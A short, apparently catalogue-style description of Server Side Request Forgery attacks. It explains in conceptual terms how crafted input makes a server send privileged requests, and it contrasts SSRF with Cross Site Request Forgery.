An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.